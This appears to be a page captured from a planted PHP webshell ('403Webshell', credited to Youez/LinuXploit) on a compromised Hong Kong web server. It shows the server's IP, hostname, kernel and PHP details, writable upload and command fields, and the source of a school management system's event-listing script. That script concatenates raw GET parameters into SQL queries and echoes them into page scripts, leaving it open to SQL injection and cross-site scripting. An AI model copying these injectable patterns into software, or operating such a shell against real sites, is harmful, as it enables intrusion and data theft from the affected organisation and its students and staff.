403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)pathways.org.hk/MIS20140127/old20140221/Event/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)pathways.org.hk/MIS20140127/old20140221/Event/Event_List.php
<?php include_once '../include/DBConnect.php'; ?>
<!DOCTYPE html>
<?php
if (isset($_GET["search"])) {
    $search_List = array();
    $event_id = array();

    $staff_name = ($_GET['staff_name'] == "") ? "" : ' and staff_id ="' . $_GET['staff_name'] . '"  ';
    $student_name = ($_GET['student_name'] == "") ? "" : '`stu_linking_id` ="' . $_GET['student_name'] . '" and';
    $search_code_id = (empty($_GET['search']['code_id'])) ? "" : 'and e.event_code = "' . $_GET['search']['code_id'] . '"';
    $search_programme_id = (empty($_GET['search']['programme_id'])) ? "" : 'and e.program_id ="' . $_GET['search']['programme_id'] . '"';
    $search_subject_id = (empty($_GET['search']['subject_id'])) ? "" : 'and e.subject_id  ="' . $_GET['search']['subject_id'] . '"  ';
    $sth2 = $dbh->query('select Min(date) startdate,Max(date) enddate,e.event_id eid,e.event_code ec,p.program_code pc,s.sub_code sc 
        from subject s,program p,lesson l,event_lesson el,event e 
        where el.lesson_id=l.lesson_id and e.event_id=el.event_id and 
        el.lesson_id in 
        (SELECT lesson_id FROM `lesson_attendance` WHERE actived=1 and deleted=0 ' . $staff_name . ' ) 
            and el.lesson_id in 
            (SELECT lesson_id FROM `lesson_attendance` WHERE ' . $student_name . ' deleted=0 and actived=1)
                and p.program_id=e.program_id and e.subject_id=s.subject_id and e.actived=1 and e.deleted=0 '.$search_code_id.$search_programme_id.$search_subject_id.' group by e.event_id');
    while ($ResultSet2 = $sth2->fetch(PDO::FETCH_ASSOC)) {
        if (!empty($_GET['search']['startdate_id'])) {
            if ($ResultSet2['startdate'] <= $_GET['search']['startdate_id'] && $ResultSet2['enddate'] >= $_GET['search']['startdate_id']) {
                array_push($search_List, array($ResultSet2['eid'], $ResultSet2['ec'], $ResultSet2['pc'], $ResultSet2['sc'], $ResultSet2['startdate'], $ResultSet2['enddate']));
                continue;
            }
            if ($ResultSet2['startdate'] <= $_GET['search']['enddate_id'] && $ResultSet2['enddate'] >= $_GET['search']['enddate_id']) {
                array_push($search_List, array($ResultSet2['eid'], $ResultSet2['ec'], $ResultSet2['pc'], $ResultSet2['sc'], $ResultSet2['startdate'], $ResultSet2['enddate']));
                continue;
            }
            if ($ResultSet2['startdate'] >= $_GET['search']['startdate_id'] && $ResultSet2['enddate'] <= $_GET['search']['enddate_id']) {
                array_push($search_List, array($ResultSet2['eid'], $ResultSet2['ec'], $ResultSet2['pc'], $ResultSet2['sc'], $ResultSet2['startdate'], $ResultSet2['enddate']));
                continue;
            }
        } else {
            array_push($search_List, array($ResultSet2['eid'], $ResultSet2['ec'], $ResultSet2['pc'], $ResultSet2['sc'], $ResultSet2['startdate'], $ResultSet2['enddate']));
        }
    }
}
?>

<html>
    <head>        
        <?php include_once '../include/head.php'; ?>
        <?php include_once '../include/checkuser.php'; ?>
        <?php include_once '../include/Nav_bar.php'; ?>  
        <?php if (isset($_GET['search']['code_id'])) { ?>
            <script>
                $(function(){
                    $('#code_id').select2().select2('val','<?= $_GET['search']['code_id'] ?>') ;
                    $('#student_name').select2().select2('val','<?= $_GET['student_name'] ?>');
                    $('#staff_name').select2().select2('val','<?= $_GET['staff_name'] ?>')
                });
            </script>
        <?php } ?>
        <script>
            $(function() {
                $('.date-picker').datetimepicker({ pickTime: false });
                $('#code_id').select2();                
                $(".student_name").select2();
                $('.staff_name').select2();
            });
            function check_all(){                
                for(var i=0;i<(document.getElementsByName("event_id[]")).length;i++)
                (document.getElementsByName("event_id[]"))[i].checked = true;                
            }
        </script>
        <style>
            div.pathways-inline-block{
                margin-right: 20px;
            }
        </style>
    </head>
    <body>
        <!-- line between nav bar and content -->
        <div class="text-right">
            <ul class="breadcrumb">
                <li class="active">Event</li>
            </ul>
        </div>

        <div class="container-fluid pathways-container">
            <a class="btn pull-right" href="Event_AddFrom.php"><i class="icon-plus"></i>Add</a>
            <h3>Event</h3>            
            <form id="search_form" class="form-inline" action="" method="get">
                <div id="2" style="margin: 0;padding: 5px 10px;background-color: #F7F7F7;border: 1px solid #E6E6E6;border-radius: 5px;box-shadow: 0 1px 2px rgba(0,0,0,.05);">
                    <!--  ## Code ##  -->
                    <div class="pathways-inline-block">                        
                        <label class="" for="code_id">Code : </label>                        
                        <select id="code_id" name="search[code_id]" style="width: 200px;"type="text" maxlength="150" placeholder="Code" >
                            <option value=""></option>
                            <?php $sth = $dbh->query("select event_code from event where actived=1 and deleted=0 ") ?>
                            <?php while ($ResultSet = $sth->fetch(PDO::FETCH_ASSOC)) { ?>
                                <option value="<?= $ResultSet['event_code'] ?>"><?= $ResultSet['event_code'] ?></option>
                            <?php } ?>
                        </select>
                    </div>
                    <!-- ## Program ##  -->

                    <div class="pathways-inline-block">
                        <?php $sth = $dbh->query('SELECT * FROM `program` WHERE `deleted` = 0 order by `sort`'); ?>                    
                        <label class="" for="program_id">Programme : </label>
                        <select id="programme_id" class="input-medium" name="search[programme_id]" style="width: 200px">
                            <?php echo '<option value=""></option>'; ?>
                            <?php while ($ResultSet = $sth->fetch(PDO::FETCH_ASSOC)) { ?>
                                <option <?php if (isset($_GET['search']['programme_id'])) if ($_GET['search']['programme_id'] == $ResultSet['program_id']) { ?>selected<?php } ?>  value="<?= $ResultSet['program_id'] ?>"><?= $ResultSet['program_code'] ?></option>
                            <?php } ?>
                        </select>
                    </div>
                    <!-- ## Subject ##  -->
                    <div class="pathways-inline-block">
                        <?php $sth = $dbh->query('SELECT * FROM `subject` WHERE `deleted` = 0 order by `sort`'); ?>                    
                        <label class="" for="subject_id">Subject : </label>
                        <select id="subject_id" class="input-medium" name="search[subject_id]"style="width: 200px">
                            <?php echo '<option value=""></option>'; ?>
                            <?php while ($ResultSet = $sth->fetch(PDO::FETCH_ASSOC)) { ?>
                                <option <?php if (isset($_GET['search']['subject_id'])) if ($_GET['search']['subject_id'] == $ResultSet['subject_id']) { ?>selected<?php } ?>  value="<?= $ResultSet['subject_id'] ?>"><?= $ResultSet['sub_code'] ?></option>
                            <?php } ?>
                        </select>
                    </div>

                    <!-- ## Start Date ##  -->
                    <div class="pathways-inline-block"> 
                        <label class="" for="startdate_id">Start Date : </label>
                        <div class="input-append date-picker">                
                            <input id="data_input_date" style="width: 200px" class="dateISO" type="text" maxlength="200" placeholder="Start Date" data-format="yyyy-MM-dd" value="<?= (isset($_GET['search'])) ? $_GET['search']['startdate_id'] : "" ?>" name="search[startdate_id]">              
                            <span class="add-on">
                                <i class="icon-calendar" data-date-icon="icon-calendar" data-time-icon="icon-time"></i>
                            </span>
                        </div>
                    </div>
                    <!-- ## End Date ##  -->
                    <div class="pathways-inline-block"> 
                        <label class="" for="enddate_id">End Date : </label>
                        <div class="input-append date-picker">                
                            <input id="data_input_date" style="width: 200px" class="dateISO" type="text" maxlength="200" placeholder="End Date" data-format="yyyy-MM-dd" value="<?= (isset($_GET['search'])) ? $_GET['search']['enddate_id'] : "" ?>" name="search[enddate_id]">              
                            <span class="add-on">
                                <i class="icon-calendar" data-date-icon="icon-calendar" data-time-icon="icon-time"></i>
                            </span>
                        </div>
                        <!-- ## Search Button ##   <i class="icon-info-sign" ></i>-->
                    </div>

                    <div class="pathways-inline-block">
                        <label>Student Name</label>                         
                        <select name="student_name" id="student_name" class="student_name" >
                            <option value=""></option>
                            <?php $sth = $dbh->query("SELECT root_id,`New_stu_ID` id,CONCAT(last_name, ' ', first_name) studentname,`ch_name`FROM `student` WHERE `actived`=1 and`deleted`=0 group by `New_stu_ID`,`Sem_yr`"); ?>
                            <?php while ($ResultSet = $sth->fetch(PDO::FETCH_ASSOC)) { ?>                                        
                                <option value="<?= $ResultSet['root_id'] ?>"><?= $ResultSet['studentname'] ?> ( <?= $ResultSet['ch_name'] ?> )</option>
                            <?php } ?>
                        </select> 
                    </div>

                    <div class="pathways-inline-block">
                        <label>Staff Name</label>
                        <select name="staff_name" id="staff_name" class="staff_name" style="width: 200px">
                            <option value=""></option>
                            <?php $sth = $dbh->query("SELECT CONCAT(`last_name`,' ',`first_name`) staffname, `ch_name` , `root_id` FROM `staff` WHERE `actived`=1 and `deleted`=0 group by root_id"); ?>
                            <?php while ($ResultSet = $sth->fetch(PDO::FETCH_ASSOC)) { ?>                                        
                                <option value="<?= $ResultSet['root_id'] ?>" ><?= $ResultSet['staffname'] ?> ( <?= $ResultSet['ch_name'] ?> )</option>
                            <?php } ?>
                        </select>
                    </div>

                    <button name="search[submit]" class="btn" style="margin-left:30px;" type="submit">Search</button>
                </div>
                <div style="height: 15px;"></div>

                <div style="height: 15px;"></div>
                <table class="table table-striped table-bordered table-hover table-condensed">
                    <thead>
                        <tr>                    
                            <th style="width: 130px"></th>                            
                            <th>Code</th>
                            <th>Programmme</th>
                            <th>Subject</th>
                            <th>Start Date</th>
                            <th>End Date</th>
                            <th>Details</th>
                        </tr>
                    </thead>
                    <tbody>
                        <?php if (isset($_GET["search"])) { ?> 
                            <?php foreach ($search_List as $arr) { ?>
                                <tr>
                                    <td style="margin-left:auto;margin-right:auto;"><div class="btn-group" data-toggle="buttons"><a href="<?= 'Event_AddFrom.php?event_id=' . $arr[0] . "&view=1" ?>" class="btn"><i class="icon-eye-open"></i> View</a>
                                            <a href="<?= 'Event_AddFrom.php?event_id=' . $arr[0] ?>" class="btn">Edit</a></div></td>
                                    <td><?= $arr[1] ?></td>                    
                                    <td><?= $arr[2] ?></td>
                                    <td><?= $arr[3] ?></td>
                                    <?php $sth2 = $dbh->query("Select Min(date) min,Max(date) max from lesson where lesson_id in (SELECT `lesson_id` FROM `event_lesson` WHERE deleted=0 and  `event_id` = " . $arr[0] . ")"); ?>
                                    <?php while ($ResultSet2 = $sth2->fetch(PDO::FETCH_ASSOC)) { ?>
                                        <td><?= $ResultSet2['min'] ?></td>
                                        <td><?= $ResultSet2['max'] ?></td>
                                    <?php } ?>
                                    <td style="width: 80px"><a class="btn" href="Event_DetailFrom.php?event_id=<?= $arr[0] ?>"><i class="icon-info-sign"></i>&nbsp;Detail</a></td>
                                </tr>
                            <?php } ?>
                        <?php } ?>                    
                    </tbody>
                </table>
            </form>   
        </div> <!-- /container -->
    </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit